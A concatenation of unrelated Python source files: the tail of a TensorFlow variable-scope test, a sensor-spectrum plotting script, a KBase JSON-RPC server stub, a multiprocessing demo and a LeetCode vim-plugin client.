out1, loss1 = foo(tf.ones(shape=(5, 5)))
out2, loss2 = foo(tf.ones(shape=(5, 5)))
self.assertAllEqual(out1, out2)
self.assertAllEqual(loss1, loss2)
@tf_test_utils.run_deprecated_v1
def test_get_or_create_layer_graph(self):
class NestedLayer(object):
def __init__(self, units, *args, **kwargs):
super().__init__(*args, **kwargs)
self.units = units
def build_model(self):
inp = input_layer_module.Input(shape=(5, 5))
dense_layer = core.Dense(
10, name="dense", kernel_regularizer="l2",
kernel_initializer=tf.compat.v1.ones_initializer())
model = training_module.Model(inputs=inp, outputs=dense_layer(inp))
return model
def __call__(self, inputs):
model = variable_scope_shim.get_or_create_layer(
"dense_model", self.build_model)
return model(inputs)
with self.cached_session():
layer = NestedLayer(10)
x = tf.ones(shape=(5, 5))
out1 = layer(tf.expand_dims(x, 0))
self.evaluate(tf.compat.v1.global_variables_initializer())
# verify output
self.assertEqual(out1.shape, tf.TensorShape([1, 5, 10]))
self.assertAllEqual(out1, tf.ones(shape=(1, 5, 10)) * 5)
# verify variables are tracked
weights = {var.name for var in tf.compat.v1.trainable_variables()}
self.assertEqual(weights, {"dense/bias:0", "dense/kernel:0"})
if __name__ == "__main__":
tf.test.main()
|
raw.py | import threading
import queue
import time
import os
import matplotlib.pyplot as plt
import matplotlib.animation as animation
filename = '/tmp/drips-data-monitor'
plotdataL = queue.Queue()
plotdataF = queue.Queue()
plotdataR = queue.Queue()
def update_xyvals(spectrum_message):
strline = spectrum_message.strip()
# Sampling freq
Fs = 1 / (float(strline[1:].split(';')[0]) * pow(10, -6))
yvals = strline[1:].split(';')[1].split(',')
try:
yvals = [float(v) for v in yvals]
except:
print(yvals)
return
# Remove low frequencies
#yvals[0] = 0
#yvals[1] = 0
#yvals[2] = 0
FFT_N = 2 * len(yvals)
# ((i*Fs/N) + ((i+1)*Fs/N)) / 2
xvals = [((i*Fs/FFT_N) + ((i+1)*Fs/FFT_N)) / 2.0 for i in range(len(yvals))]
if strline[0] == 'l':
plotdataL.put((xvals, yvals))
elif strline[0] == 'f':
plotdataF.put((xvals, yvals))
elif strline[0] == 'r':
plotdataR.put((xvals, yvals))
def retrievePlotData():
while True:
try:
f = open(filename, encoding='utf8')
f.seek(0, os.SEEK_END)
f.readline() # Discard the first (possibly partial) line
while True:
line = f.readline()
while len(line) == 0 or line[0] not in ['l', 'f', 'r']:
if not line:
time.sleep(0.1)
line = f.readline()
update_xyvals(line)
except OSError:
print("Error reading file " + filename)
time.sleep(1)
def main():
def animate(i):
try:
x, y = plotdataL.get(block=False, timeout=None)
while not plotdataL.empty():
plotdataL.get()
plotL.lines[0].set_data(x, y)
except queue.Empty:
pass
try:
x, y = plotdataF.get(block=False, timeout=None)
while not plotdataF.empty():
plotdataF.get()
plotF.lines[0].set_data(x, y)
except queue.Empty:
pass
try:
x, y = plotdataR.get(block=False, timeout=None)
while not plotdataR.empty():
plotdataR.get()
plotR.lines[0].set_data(x, y)
except queue.Empty:
pass
plotLFR.lines[0].set_data(plotL.lines[0].get_xdata(), plotL.lines[0].get_ydata())
plotLFR.lines[1].set_data(plotF.lines[0].get_xdata(), plotF.lines[0].get_ydata())
plotLFR.lines[2].set_data(plotR.lines[0].get_xdata(), plotR.lines[0].get_ydata())
for plot in [plotL, plotF, plotR, plotLFR]:
if len(plot.lines) > 0 and len(plot.lines[0].get_xdata()) > 0:
plot.set_xlim([0, plot.lines[0].get_xdata()[-1]])
plot.set_ylim([0, 1023])
return plotL.lines[0], plotF.lines[0], plotR.lines[0], plotLFR.lines[0], plotLFR.lines[1], plotLFR.lines[2]
fig = plt.figure()
plotL = plt.subplot2grid((5, 3), (3, 0), rowspan=2)
plotF = plt.subplot2grid((5, 3), (3, 1), rowspan=2)
plotR = plt.subplot2grid((5, 3), (3, 2), rowspan=2)
plotLFR = plt.subplot2grid((5, 3), (0, 0), colspan=3, rowspan=3)
plotL.plot([], [], 'C0')
plotF.plot([], [], 'C1')
plotR.plot([], [], 'C2')
plotLFR.plot([], [], 'C0', [], [], 'C1', [], [], 'C2')
plotL.set_title("Left sensor")
plotF.set_title("Front sensor")
plotR.set_title("Right sensor")
plotLFR.set_title("All sensors")
for plot in [plotL, plotF, plotR, plotLFR]:
plot.set_xlabel("Frequency (Hz)")
plot.set_ylabel("Intensity")
plt.tight_layout()
fig.subplots_adjust(hspace=1.5)
ani = animation.FuncAnimation(fig, animate, interval=100, blit=True)
plt.show()
os._exit(0)
threading.Thread(target=retrievePlotData).start()
main() |
ExpressionUtilsServer.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import datetime
import json
import os
import random as _random
import sys
import traceback
from getopt import getopt, GetoptError
from multiprocessing import Process
from os import environ
from wsgiref.simple_server import make_server
import requests as _requests
from jsonrpcbase import JSONRPCService, InvalidParamsError, KeywordError, \
JSONRPCError, InvalidRequestError
from jsonrpcbase import ServerError as JSONServerError
from biokbase import log
from ExpressionUtils.authclient import KBaseAuth as _KBaseAuth
try:
from ConfigParser import ConfigParser
except ImportError:
from configparser import ConfigParser
DEPLOY = 'KB_DEPLOYMENT_CONFIG'
SERVICE = 'KB_SERVICE_NAME'
AUTH = 'auth-service-url'
# Note that the error fields do not match the 2.0 JSONRPC spec
def get_config_file():
return environ.get(DEPLOY, None)
def get_service_name():
return environ.get(SERVICE, None)
def get_config():
if not get_config_file():
return None
retconfig = {}
config = ConfigParser()
config.read(get_config_file())
for nameval in config.items(get_service_name() or 'ExpressionUtils'):
retconfig[nameval[0]] = nameval[1]
return retconfig
config = get_config()
from ExpressionUtils.ExpressionUtilsImpl import ExpressionUtils # noqa @IgnorePep8
impl_ExpressionUtils = ExpressionUtils(config)
class JSONObjectEncoder(json.JSONEncoder):
def default(self, obj):
if isinstance(obj, set):
return list(obj)
if isinstance(obj, frozenset):
return list(obj)
if hasattr(obj, 'toJSONable'):
return obj.toJSONable()
return json.JSONEncoder.default(self, obj)
class JSONRPCServiceCustom(JSONRPCService):
def call(self, ctx, jsondata):
"""
Calls jsonrpc service's method and returns its return value in a JSON
string or None if there is none.
Arguments:
jsondata -- remote method call in jsonrpc format
"""
result = self.call_py(ctx, jsondata)
if result is not None:
return json.dumps(result, cls=JSONObjectEncoder)
return None
def _call_method(self, ctx, request):
"""Calls given method with given params and returns it value."""
method = self.method_data[request['method']]['method']
params = request['params']
result = None
try:
if isinstance(params, list):
# Does it have enough arguments?
if len(params) < self._man_args(method) - 1:
raise InvalidParamsError('not enough arguments')
# Does it have too many arguments?
if(not self._vargs(method) and len(params) >
self._max_args(method) - 1):
raise InvalidParamsError('too many arguments')
result = method(ctx, *params)
elif isinstance(params, dict):
# Do not accept keyword arguments if the jsonrpc version is
# not >=1.1.
if request['jsonrpc'] < 11:
raise KeywordError
result = method(ctx, **params)
else: # No params
result = method(ctx)
except JSONRPCError:
raise
except Exception as e:
# log.exception('method %s threw an exception' % request['method'])
# Exception was raised inside the method.
newerr = JSONServerError()
newerr.trace = traceback.format_exc()
if len(e.args) == 1:
newerr.data = repr(e.args[0])
else:
newerr.data = repr(e.args)
raise newerr
return result
def call_py(self, ctx, jsondata):
"""
Calls jsonrpc service's method and returns its return value in python
object format or None if there is none.
This method is same as call() except the return value is a python
object instead of JSON string. This method is mainly only useful for
debugging purposes.
"""
rdata = jsondata
# we already deserialize the json string earlier in the server code, no
# need to do it again
# try:
# rdata = json.loads(jsondata)
# except ValueError:
# raise ParseError
# set some default values for error handling
request = self._get_default_vals()
if isinstance(rdata, dict) and rdata:
# It's a single request.
self._fill_request(request, rdata)
respond = self._handle_request(ctx, request)
# Don't respond to notifications
if respond is None:
return None
return respond
elif isinstance(rdata, list) and rdata:
# It's a batch.
requests = []
responds = []
for rdata_ in rdata:
# set some default values for error handling
request_ = self._get_default_vals()
self._fill_request(request_, rdata_)
requests.append(request_)
for request_ in requests:
respond = self._handle_request(ctx, request_)
# Don't respond to notifications
if respond is not None:
responds.append(respond)
if responds:
return responds
# Nothing to respond.
return None
else:
# empty dict, list or wrong type
raise InvalidRequestError
def _handle_request(self, ctx, request):
"""Handles given request and returns its response."""
if 'types' in self.method_data[request['method']]:
self._validate_params_types(request['method'], request['params'])
result = self._call_method(ctx, request)
# Do not respond to notifications.
if request['id'] is None:
return None
respond = {}
self._fill_ver(request['jsonrpc'], respond)
respond['result'] = result
respond['id'] = request['id']
return respond
class MethodContext(dict):
def __init__(self, logger):
self['client_ip'] = None
self['user_id'] = None
self['authenticated'] = None
self['token'] = None
self['module'] = None
self['method'] = None
self['call_id'] = None
self['rpc_context'] = None
self['provenance'] = None
self._debug_levels = set([7, 8, 9, 'DEBUG', 'DEBUG2', 'DEBUG3'])
self._logger = logger
def log_err(self, message):
self._log(log.ERR, message)
def log_info(self, message):
self._log(log.INFO, message)
def log_debug(self, message, level=1):
if level in self._debug_levels:
pass
else:
level = int(level)
if level < 1 or level > 3:
raise ValueError("Illegal log level: " + str(level))
level = level + 6
self._log(level, message)
def set_log_level(self, level):
self._logger.set_log_level(level)
def get_log_level(self):
return self._logger.get_log_level()
def clear_log_level(self):
self._logger.clear_user_log_level()
def _log(self, level, message):
self._logger.log_message(level, message, self['client_ip'],
self['user_id'], self['module'],
self['method'], self['call_id'])
def provenance(self):
callbackURL = os.environ.get('SDK_CALLBACK_URL')
if callbackURL:
# OK, there's a callback server from which we can get provenance
arg_hash = {'method': 'CallbackServer.get_provenance',
'params': [],
'version': '1.1',
'id': str(_random.random())[2:]
}
body = json.dumps(arg_hash)
response = _requests.post(callbackURL, data=body,
timeout=60)
response.encoding = 'utf-8'
if response.status_code == 500:
if ('content-type' in response.headers and
response.headers['content-type'] ==
'application/json'):
err = response.json()
if 'error' in err:
raise ServerError(**err['error'])
else:
raise ServerError('Unknown', 0, response.text)
else:
raise ServerError('Unknown', 0, response.text)
if not response.ok:
response.raise_for_status()
resp = response.json()
if 'result' not in resp:
raise ServerError('Unknown', 0,
'An unknown server error occurred')
return resp['result'][0]
else:
return self.get('provenance')
class ServerError(Exception):
'''
The call returned an error. Fields:
name - the name of the error.
code - the error code.
message - a human readable error message.
data - the server side stacktrace.
'''
def __init__(self, name, code, message, data=None, error=None):
super(Exception, self).__init__(message)
self.name = name
self.code = code
self.message = message if message else ''
self.data = data or error or ''
# data = JSON RPC 2.0, error = 1.1
def __str__(self):
return self.name + ': ' + str(self.code) + '. ' + self.message + \
'\n' + self.data
def getIPAddress(environ):
xFF = environ.get('HTTP_X_FORWARDED_FOR')
realIP = environ.get('HTTP_X_REAL_IP')
trustXHeaders = config is None or \
config.get('dont_trust_x_ip_headers') != 'true'
if (trustXHeaders):
if (xFF):
return xFF.split(',')[0].strip()
if (realIP):
return realIP.strip()
return environ.get('REMOTE_ADDR')
class Application(object):
# Wrap the wsgi handler in a class definition so that we can
# do some initialization and avoid regenerating stuff over
# and over
def logcallback(self):
self.serverlog.set_log_file(self.userlog.get_log_file())
def log(self, level, context, message):
self.serverlog.log_message(level, message, context['client_ip'],
context['user_id'], context['module'],
context['method'], context['call_id'])
def __init__(self):
submod = get_service_name() or 'ExpressionUtils'
self.userlog = log.log(
submod, ip_address=True, authuser=True, module=True, method=True,
call_id=True, changecallback=self.logcallback,
config=get_config_file())
self.serverlog = log.log(
submod, ip_address=True, authuser=True, module=True, method=True,
call_id=True, logfile=self.userlog.get_log_file())
self.serverlog.set_log_level(6)
self.rpc_service = JSONRPCServiceCustom()
self.method_authentication = dict()
self.rpc_service.add(impl_ExpressionUtils.upload_expression,
name='ExpressionUtils.upload_expression',
types=[dict])
self.method_authentication['ExpressionUtils.upload_expression'] = 'required' # noqa
self.rpc_service.add(impl_ExpressionUtils.download_expression,
name='ExpressionUtils.download_expression',
types=[dict])
self.method_authentication['ExpressionUtils.download_expression'] = 'required' # noqa
self.rpc_service.add(impl_ExpressionUtils.export_expression,
name='ExpressionUtils.export_expression',
types=[dict])
self.method_authentication['ExpressionUtils.export_expression'] = 'required' # noqa
self.rpc_service.add(impl_ExpressionUtils.get_expressionMatrix,
name='ExpressionUtils.get_expressionMatrix',
types=[dict])
self.method_authentication['ExpressionUtils.get_expressionMatrix'] = 'required' # noqa
self.rpc_service.add(impl_ExpressionUtils.get_enhancedFilteredExpressionMatrix,
name='ExpressionUtils.get_enhancedFilteredExpressionMatrix',
types=[dict])
self.method_authentication['ExpressionUtils.get_enhancedFilteredExpressionMatrix'] = 'required' # noqa
self.rpc_service.add(impl_ExpressionUtils.status,
name='ExpressionUtils.status',
types=[dict])
authurl = config.get(AUTH) if config else None
self.auth_client = _KBaseAuth(authurl)
def __call__(self, environ, start_response):
# Context object, equivalent to the perl impl CallContext
ctx = MethodContext(self.userlog)
ctx['client_ip'] = getIPAddress(environ)
status = '500 Internal Server Error'
try:
body_size = int(environ.get('CONTENT_LENGTH', 0))
except (ValueError):
body_size = 0
if environ['REQUEST_METHOD'] == 'OPTIONS':
# we basically do nothing and just return headers
status = '200 OK'
rpc_result = ""
else:
request_body = environ['wsgi.input'].read(body_size)
try:
req = json.loads(request_body)
except ValueError as ve:
err = {'error': {'code': -32700,
'name': "Parse error",
'message': str(ve),
}
}
rpc_result = self.process_error(err, ctx, {'version': '1.1'})
else:
ctx['module'], ctx['method'] = req['method'].split('.')
ctx['call_id'] = req['id']
ctx['rpc_context'] = {
'call_stack': [{'time': self.now_in_utc(),
'method': req['method']}
]
}
prov_action = {'service': ctx['module'],
'method': ctx['method'],
'method_params': req['params']
}
ctx['provenance'] = [prov_action]
try:
token = environ.get('HTTP_AUTHORIZATION')
# parse out the method being requested and check if it
# has an authentication requirement
method_name = req['method']
auth_req = self.method_authentication.get(
method_name, 'none')
if auth_req != 'none':
if token is None and auth_req == 'required':
err = JSONServerError()
err.data = (
'Authentication required for ' +
'ExpressionUtils ' +
'but no authentication header was passed')
raise err
elif token is None and auth_req == 'optional':
pass
else:
try:
user = self.auth_client.get_user(token)
ctx['user_id'] = user
ctx['authenticated'] = 1
ctx['token'] = token
except Exception as e:
if auth_req == 'required':
err = JSONServerError()
err.data = \
"Token validation failed: %s" % e
raise err
if (environ.get('HTTP_X_FORWARDED_FOR')):
self.log(log.INFO, ctx, 'X-Forwarded-For: ' +
environ.get('HTTP_X_FORWARDED_FOR'))
self.log(log.INFO, ctx, 'start method')
rpc_result = self.rpc_service.call(ctx, req)
self.log(log.INFO, ctx, 'end method')
status = '200 OK'
except JSONRPCError as jre:
err = {'error': {'code': jre.code,
'name': jre.message,
'message': jre.data
}
}
trace = jre.trace if hasattr(jre, 'trace') else None
rpc_result = self.process_error(err, ctx, req, trace)
except Exception:
err = {'error': {'code': 0,
'name': 'Unexpected Server Error',
'message': 'An unexpected server error ' +
'occurred',
}
}
rpc_result = self.process_error(err, ctx, req,
traceback.format_exc())
# print('Request method was %s\n' % environ['REQUEST_METHOD'])
# print('Environment dictionary is:\n%s\n' % pprint.pformat(environ))
# print('Request body was: %s' % request_body)
# print('Result from the method call is:\n%s\n' % \
# pprint.pformat(rpc_result))
if rpc_result:
response_body = rpc_result
else:
response_body = ''
response_headers = [
('Access-Control-Allow-Origin', '*'),
('Access-Control-Allow-Headers', environ.get(
'HTTP_ACCESS_CONTROL_REQUEST_HEADERS', 'authorization')),
('content-type', 'application/json'),
('content-length', str(len(response_body)))]
start_response(status, response_headers)
return [response_body.encode('utf8')]
def process_error(self, error, context, request, trace=None):
if trace:
self.log(log.ERR, context, trace.split('\n')[0:-1])
if 'id' in request:
error['id'] = request['id']
if 'version' in request:
error['version'] = request['version']
e = error['error'].get('error')
if not e:
error['error']['error'] = trace
elif 'jsonrpc' in request:
error['jsonrpc'] = request['jsonrpc']
error['error']['data'] = trace
else:
error['version'] = '1.0'
error['error']['error'] = trace
return json.dumps(error)
def now_in_utc(self):
# noqa Taken from http://stackoverflow.com/questions/3401428/how-to-get-an-isoformat-datetime-string-including-the-default-timezone @IgnorePep8
dtnow = datetime.datetime.now()
dtutcnow = datetime.datetime.utcnow()
delta = dtnow - dtutcnow
hh, mm = divmod((delta.days * 24 * 60 * 60 + delta.seconds + 30) // 60,
60)
return "%s%+02d:%02d" % (dtnow.isoformat(), hh, mm)
application = Application()
# This is the uwsgi application dictionary. On startup uwsgi will look
# for this dict and pull its configuration from here.
# This simply lists where to "mount" the application in the URL path
#
# This uwsgi module "magically" appears when running the app within
# uwsgi and is not available otherwise, so wrap an exception handler
# around it
#
# To run this server in uwsgi with 4 workers listening on port 9999 use:
# uwsgi -M -p 4 --http :9999 --wsgi-file _this_file_
# To run a using the single threaded python BaseHTTP service
# listening on port 9999 by default execute this file
#
try:
import uwsgi
# Before we do anything with the application, see if the
# configs specify patching all std routines to be asynch
# *ONLY* use this if you are going to wrap the service in
# a wsgi container that has enabled gevent, such as
# uwsgi with the --gevent option
if config is not None and config.get('gevent_monkeypatch_all', False):
print("Monkeypatching std libraries for async")
from gevent import monkey
monkey.patch_all()
uwsgi.applications = {'': application}
except ImportError:
# Not available outside of wsgi, ignore
pass
_proc = None
def start_server(host='localhost', port=0, newprocess=False):
'''
By default, will start the server on localhost on a system assigned port
in the main thread. Excecution of the main thread will stay in the server
main loop until interrupted. To run the server in a separate process, and
thus allow the stop_server method to be called, set newprocess = True. This
will also allow returning of the port number.'''
global _proc
if _proc:
raise RuntimeError('server is already running')
httpd = make_server(host, port, application)
port = httpd.server_address[1]
print("Listening on port %s" % port)
if newprocess:
_proc = Process(target=httpd.serve_forever)
_proc.daemon = True
_proc.start()
else:
httpd.serve_forever()
return port
def stop_server():
global _proc
_proc.terminate()
_proc = None
def process_async_cli(input_file_path, output_file_path, token):
exit_code = 0
with open(input_file_path) as data_file:
req = json.load(data_file)
if 'version' not in req:
req['version'] = '1.1'
if 'id' not in req:
req['id'] = str(_random.random())[2:]
ctx = MethodContext(application.userlog)
if token:
user = application.auth_client.get_user(token)
ctx['user_id'] = user
ctx['authenticated'] = 1
ctx['token'] = token
if 'context' in req:
ctx['rpc_context'] = req['context']
ctx['CLI'] = 1
ctx['module'], ctx['method'] = req['method'].split('.')
prov_action = {'service': ctx['module'], 'method': ctx['method'],
'method_params': req['params']}
ctx['provenance'] = [prov_action]
resp = None
try:
resp = application.rpc_service.call_py(ctx, req)
except JSONRPCError as jre:
trace = jre.trace if hasattr(jre, 'trace') else None
resp = {'id': req['id'],
'version': req['version'],
'error': {'code': jre.code,
'name': jre.message,
'message': jre.data,
'error': trace}
}
except Exception:
trace = traceback.format_exc()
resp = {'id': req['id'],
'version': req['version'],
'error': {'code': 0,
'name': 'Unexpected Server Error',
'message': 'An unexpected server error occurred',
'error': trace}
}
if 'error' in resp:
exit_code = 500
with open(output_file_path, "w") as f:
f.write(json.dumps(resp, cls=JSONObjectEncoder))
return exit_code
if __name__ == "__main__":
if (len(sys.argv) >= 3 and len(sys.argv) <= 4 and
os.path.isfile(sys.argv[1])):
token = None
if len(sys.argv) == 4:
if os.path.isfile(sys.argv[3]):
with open(sys.argv[3]) as token_file:
token = token_file.read()
else:
token = sys.argv[3]
sys.exit(process_async_cli(sys.argv[1], sys.argv[2], token))
try:
opts, args = getopt(sys.argv[1:], "", ["port=", "host="])
except GetoptError as err:
# print help information and exit:
print(str(err)) # will print something like "option -a not recognized"
sys.exit(2)
port = 9999
host = 'localhost'
for o, a in opts:
if o == '--port':
port = int(a)
elif o == '--host':
host = a
print("Host set to %s" % host)
else:
assert False, "unhandled option"
start_server(host=host, port=port)
# print("Listening on port %s" % port)
# httpd = make_server( host, port, application)
#
# httpd.serve_forever()
|
multi_process.py | from multiprocessing import Process
def f(name):
while True:
# pass
print("2", end="")
def f2(name):
while True:
# pass
print("6", end="")
if __name__ == '__main__':
print("0", end="")
p = Process(target=f, args=('bob',))
p2 = Process(target=f2, args=('bob',))
print("1", end="")
p.start()
print("5", end="")
p2.start()
print("3", end="")
p.join()
p2.join()
print("4", end="") |
leetcode.py | import json
import logging
import re
import time
from threading import Semaphore, Thread, current_thread
try:
from bs4 import BeautifulSoup
import requests
inited = 1
except ImportError:
inited = 0
try:
import vim
except ImportError:
vim = None
LC_BASE = 'https://leetcode.com'
LC_LOGIN = 'https://leetcode.com/accounts/login/'
LC_GRAPHQL = 'https://leetcode.com/graphql'
LC_CATEGORY_PROBLEMS = 'https://leetcode.com/api/problems/{category}'
LC_PROBLEM = 'https://leetcode.com/problems/{slug}/description'
LC_TEST = 'https://leetcode.com/problems/{slug}/interpret_solution/'
LC_SUBMIT = 'https://leetcode.com/problems/{slug}/submit/'
LC_SUBMISSIONS = 'https://leetcode.com/api/submissions/{slug}'
LC_SUBMISSION = 'https://leetcode.com/submissions/detail/{submission}/'
LC_CHECK = 'https://leetcode.com/submissions/detail/{submission}/check/'
LC_PROBLEM_SET_ALL = 'https://leetcode.com/problemset/all/'
session = None
task_running = False
task_done = False
task_trigger = Semaphore(0)
task_name = ''
task_input = None
task_progress = ''
task_output = None
task_err = ''
log = logging.getLogger(__name__)
log.setLevel(logging.ERROR)
def enable_logging():
out_hdlr = logging.FileHandler('leetcode-vim.log')
out_hdlr.setFormatter(logging.Formatter('%(asctime)s %(message)s'))
out_hdlr.setLevel(logging.INFO)
log.addHandler(out_hdlr)
log.setLevel(logging.INFO)
def _make_headers():
assert is_login()
headers = {'Origin': LC_BASE,
'Referer': LC_BASE,
'X-CSRFToken': session.cookies['csrftoken'],
'X-Requested-With': 'XMLHttpRequest'}
return headers
def _level_to_name(level):
if level == 1:
return 'Easy'
if level == 2:
return 'Medium'
if level == 3:
return 'Hard'
return ' '
def _state_to_flag(state):
if state == 'ac':
return 'X'
elif state == 'notac':
return '?'
return ' '
def _status_to_name(status):
if status == 10:
return 'Accepted'
if status == 11:
return 'Wrong Answer'
if status == 12:
return 'Memory Limit Exceeded'
if status == 13:
return 'Output Limit Exceeded'
if status == 14:
return 'Time Limit Exceeded'
if status == 15:
return 'Runtime Error'
if status == 16:
return 'Internal Error'
if status == 20:
return 'Compile Error'
if status == 21:
return 'Unknown Error'
return 'Unknown State'
def _break_code_lines(s):
return s.replace('\r\n', '\n').replace('\xa0', ' ').split('\n')
def _break_paragraph_lines(s):
lines = _break_code_lines(s)
result = []
# reserve one and only one empty line between two non-empty lines
for line in lines:
if line.strip() != '': # a line with only whitespaces is also empty
result.append(line)
result.append('')
return result
def _remove_description(code):
eod = code.find('[End of Description]')
if eod == -1:
return code
eol = code.find('\n', eod)
if eol == -1:
return ''
return code[eol+1:]
def is_login():
return session and 'LEETCODE_SESSION' in session.cookies
def signin(username, password):
global session
session = requests.Session()
res = session.get(LC_LOGIN)
if res.status_code != 200:
_echoerr('cannot open ' + LC_LOGIN)
return False
headers = {'Origin': LC_BASE,
'Referer': LC_LOGIN}
form = {'csrfmiddlewaretoken': session.cookies['csrftoken'],
'login': username,
'password': password}
log.info('signin request: headers="%s" login="%s"', headers, username)
# requests follows the redirect url by default
# disable redirection explicitly
res = session.post(LC_LOGIN, data=form, headers=headers, allow_redirects=False)
log.info('signin response: status="%s" body="%s"', res.status_code, res.text)
if res.status_code != 302:
_echoerr('password incorrect')
return False
return True
def _get_category_problems(category):
headers = _make_headers()
url = LC_CATEGORY_PROBLEMS.format(category=category)
res = session.get(url, headers=headers)
if res.status_code != 200:
_echoerr('cannot get the category: {}'.format(category))
return []
problems = []
content = res.json()
for p in content['stat_status_pairs']:
# skip hidden questions
if p['stat']['question__hide']:
continue
problem = {'state': _state_to_flag(p['status']),
'id': p['stat']['question_id'],
'fid': p['stat']['frontend_question_id'],
'title': p['stat']['question__title'],
'slug': p['stat']['question__title_slug'],
'paid_only': p['paid_only'],
'ac_rate': p['stat']['total_acs'] / p['stat']['total_submitted'],
'level': _level_to_name(p['difficulty']['level']),
'favor': p['is_favor'],
'category': content['category_slug']}
problems.append(problem)
return problems
def get_problems(categories):
assert is_login()
problems = []
for c in categories:
problems.extend(_get_category_problems(c))
return sorted(problems, key=lambda p: p['id'])
def get_problem(slug):
assert is_login()
headers = _make_headers()
headers['Referer'] = LC_PROBLEM.format(slug=slug)
body = {'query': '''query getQuestionDetail($titleSlug : String!) {
question(titleSlug: $titleSlug) {
questionId
title
content
stats
difficulty
codeDefinition
sampleTestCase
enableRunCode
translatedContent
}
}''',
'variables': {'titleSlug': slug},
'operationName': 'getQuestionDetail'}
log.info('get_problem request: url="%s" headers="%s" body="%s"', LC_GRAPHQL, headers, body)
res = session.post(LC_GRAPHQL, json=body, headers=headers)
log.info('get_problem response: status="%s" body="%s"', res.status_code, res.text)
if res.status_code != 200:
_echoerr('cannot get the problem: {}'.format(slug))
return None
q = res.json()['data']['question']
if q is None:
_echoerr('cannot get the problem: {}'.format(slug))
return None
soup = BeautifulSoup(q['translatedContent'] or q['content'], features='html.parser')
problem = {}
problem['id'] = q['questionId']
problem['title'] = q['title']
problem['slug'] = slug
problem['level'] = q['difficulty']
problem['desc'] = _break_paragraph_lines(soup.get_text())
problem['templates'] = {}
for t in json.loads(q['codeDefinition']):
problem['templates'][t['value']] = _break_code_lines(t['defaultCode'])
problem['testable'] = q['enableRunCode']
problem['testcase'] = q['sampleTestCase']
stats = json.loads(q['stats'])
problem['total_accepted'] = stats['totalAccepted']
problem['total_submission'] = stats['totalSubmission']
problem['ac_rate'] = stats['acRate']
return problem
def _split(s):
# str.split has an disadvantage that ''.split('\n') results in [''], but what we want
# is []. This small function returns [] if `s` is a blank string, that is, containing no
# characters other than whitespaces.
if s.strip() == '':
return []
return s.split('\n')
def _check_result(submission_id):
global task_progress
if _in_task():
prog_stage = 'Uploading '
prog_bar = '.'
task_progress = prog_stage + prog_bar
while True:
headers = _make_headers()
url = LC_CHECK.format(submission=submission_id)
log.info('check result request: url="%s" headers="%s"', url, headers)
res = session.get(url, headers=headers)
log.info('check result response: status="%s" body="%s"', res.status_code, res.text)
if res.status_code != 200:
_echoerr('cannot get the execution result')
return None
if _in_task():
prog_bar += '.'
r = res.json()
if r['state'] == 'SUCCESS':
prog_stage = 'Done '
break
elif r['state'] == 'PENDING':
prog_stage = 'Pending '
elif r['state'] == 'STARTED':
prog_stage = 'Running '
if _in_task():
task_progress = prog_stage + prog_bar
time.sleep(1)
result = {
'answer': r.get('code_answer', []),
'runtime': r['status_runtime'],
'state': _status_to_name(r['status_code']),
'testcase': _split(r.get('input', r.get('last_testcase', ''))),
'passed': r.get('total_correct') or 0,
'total': r.get('total_testcases') or 0,
'error': [v for k, v in r.items() if 'error' in k and v]
}
# the keys differs between the result of testing the code and submitting it
# for submission judge_type is 'large', and for testing judge_type does not exist
if r.get('judge_type') == 'large':
result['answer'] = _split(r.get('code_output', ''))
result['expected_answer'] = _split(r.get('expected_output', ''))
result['stdout'] = _split(r.get('std_output', ''))
result['runtime_percentile'] = r.get('runtime_percentile', '')
else:
result['stdout'] = r.get('code_output', [])
result['expected_answer'] = []
result['runtime_percentile'] = r.get('runtime_percentile', '')
return result
def test_solution(slug, filetype, code=None):
assert is_login()
problem = get_problem(slug)
if not problem:
return None
if not problem['testable']:
_echoerr('the problem is not testable, please submit directly')
return None
if code is None:
code = '\n'.join(vim.current.buffer)
headers = _make_headers()
headers['Referer'] = LC_PROBLEM.format(slug=slug)
body = {'data_input': problem['testcase'],
'lang': filetype,
'question_id': str(problem['id']),
'test_mode': False,
'typed_code': code}
url = LC_TEST.format(slug=slug)
log.info('test solution request: url="%s" headers="%s" body="%s"', url, headers, body)
res = session.post(url, json=body, headers=headers)
log.info('test solution response: status="%s" body="%s"', res.status_code, res.text)
if res.status_code != 200:
if 'too fast' in res.text:
_echoerr('you are sending the request too fast')
else:
_echoerr('cannot test the solution for ' + slug)
return None
actual = _check_result(res.json()['interpret_id'])
expected = _check_result(res.json()['interpret_expected_id'])
actual['testcase'] = problem['testcase'].split('\n')
actual['expected_answer'] = expected['answer']
actual['title'] = problem['title']
return actual
def test_solution_async(slug, filetype, code=None):
assert is_login()
global task_input, task_name
if task_running:
_echoerr('there is other task running: ' + task_name)
return False
if code is None:
code = '\n'.join(vim.current.buffer)
code = _remove_description(code)
task_name = 'test_solution'
task_input = [slug, filetype, code]
task_trigger.release()
return True
def submit_solution(slug, filetype, code=None):
assert is_login()
problem = get_problem(slug)
if not problem:
return None
if code is None:
code = '\n'.join(vim.current.buffer)
code = _remove_description(code)
headers = _make_headers()
headers['Referer'] = LC_PROBLEM.format(slug=slug)
body = {'data_input': problem['testcase'],
'lang': filetype,
'question_id': str(problem['id']),
'test_mode': False,
'typed_code': code,
'judge_type': 'large'}
url = LC_SUBMIT.format(slug=slug)
log.info('submit solution request: url="%s" headers="%s" body="%s"', url, headers, body)
res = session.post(url, json=body, headers=headers)
log.info('submit solution response: status="%s" body="%s"', res.status_code, res.text)
if res.status_code != 200:
if 'too fast' in res.text:
_echoerr('you are sending the request too fast')
else:
_echoerr('cannot submit the solution for ' + slug)
return None
result = _check_result(res.json()['submission_id'])
result['title'] = problem['title']
return result
def submit_solution_async(slug, filetype, code=None):
assert is_login()
global task_input, task_name
if task_running:
_echoerr('there is other task running: ' + task_name)
return False
if code is None:
code = '\n'.join(vim.current.buffer)
task_name = 'submit_solution'
task_input = [slug, filetype, code]
task_trigger.release()
return True
def get_submissions(slug):
assert is_login()
headers = _make_headers()
headers['Referer'] = LC_PROBLEM.format(slug=slug)
url = LC_SUBMISSIONS.format(slug=slug)
log.info('get submissions request: url="%s" headers="%s"', url, headers)
res = session.get(url, headers=headers)
log.info('get submissions response: status="%s" body="%s"', res.status_code, res.text)
if res.status_code != 200:
_echoerr('cannot find the submissions of problem: ' + slug)
return None
submissions = []
for r in res.json()['submissions_dump']:
s = {
'id': r['url'].split('/')[3],
'time': r['time'].replace('\xa0', ' '),
'status': r['status_display'],
'runtime': r['runtime'],
}
submissions.append(s)
return submissions
def _group1(match, default):
if match:
return match.group(1)
return default
def _unescape(s):
return s.encode().decode('unicode_escape')
